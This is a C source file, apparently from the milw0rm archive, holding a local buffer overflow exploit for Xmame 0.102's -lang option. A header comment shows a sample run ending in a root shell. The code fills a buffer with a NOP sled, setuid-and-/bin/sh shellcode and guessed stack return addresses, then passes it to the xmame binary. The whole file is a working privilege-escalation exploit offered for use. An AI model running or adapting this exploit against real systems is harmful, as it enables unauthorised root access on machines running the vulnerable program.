477bcbdcc0
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98 lines
2.4 KiB
C
Executable file
98 lines
2.4 KiB
C
Executable file
/*
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Xmame 0.102 (-lang) Local Buffer Overflow Exploit
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Coded BY Qnix
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Qnix@bsdmail.org
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#0x11 @EFNET
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icq : 234263
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0x11.org
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Advisory : http://kerneltrap.org/node/6055
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e.g:
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Qnix ~ # ./exploit /usr/games/bin/xmame.x11
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**************************************************
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Xmame 0.102 (-lang) Local Buffer Overflow Exploit
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Coded BY Qnix
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**************************************************
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(~) Stack pointer (ESP) : 0xbffff688
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(~) Offset from ESP : 0x0
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(~) Desired Return Addr : 0xbffff688
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GLINFO: loaded OpenGL library libGL.so!
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GLINFO: loaded GLU library libGLU.so!
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GLINFO: glPolygonOffsetEXT (2): not implemented !
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info: trying to parse: /usr/share/games/xmame/xmamerc
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info: trying to parse: /root/.xmame/xmamerc
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info: trying to parse: /usr/share/games/xmame/xmame-x11rc
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info: trying to parse: /root/.xmame/xmame-x11rc
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info: trying to parse: /usr/share/games/xmame/rc/robbyrc
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info: trying to parse: /root/.xmame/rc/robbyrc
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sh-3.00#
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#define BUFSIZE 1057
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#define NS 600
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char shellcode[] =
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"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
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"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
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"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
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"\x68";
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unsigned long sp(void)
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{ __asm__("movl %esp, %eax");}
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int main(int argc, char *argv[])
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{
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int i, offset;
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long esp, ret, *addr_ptr;
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char *buffer, *ptr;
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offset = 0;
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esp = sp();
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ret = esp - offset;
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if(argc < 2 || argc != 2)
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{
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fprintf(stderr,"%s <xmam.x11>\n",argv[0]);
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return(0);
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}
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fprintf(stdout,"**************************************************\n");
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fprintf(stdout,"Xmame 0.102 (-lang) Local Buffer Overflow Exploit\n");
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fprintf(stdout,"Coded BY Qnix\n");
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fprintf(stdout,"**************************************************\n\n");
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fprintf(stdout,"\t(~) Stack pointer (ESP) : 0x%x\n", esp);
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fprintf(stdout,"\t(~) Offset from ESP : 0x%x\n", offset);
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fprintf(stdout,"\t(~) Desired Return Addr : 0x%x\n\n", ret);
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buffer = malloc(BUFSIZE);
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ptr = buffer;
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addr_ptr = (long *) ptr;
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for(i=0; i < BUFSIZE; i+=4)
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{ *(addr_ptr++) = ret; }
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for(i=0; i < NS; i++)
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{ buffer[i] = '\x90'; }
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ptr = buffer + NS;
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for(i=0; i < strlen(shellcode); i++)
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{ *(ptr++) = shellcode[i]; }
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buffer[BUFSIZE-1] = 0;
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execl(argv[1], "xmame.x11", "-lang", buffer, 0);
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free(buffer);
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return(0);
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}
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// milw0rm.com [2006-01-13]
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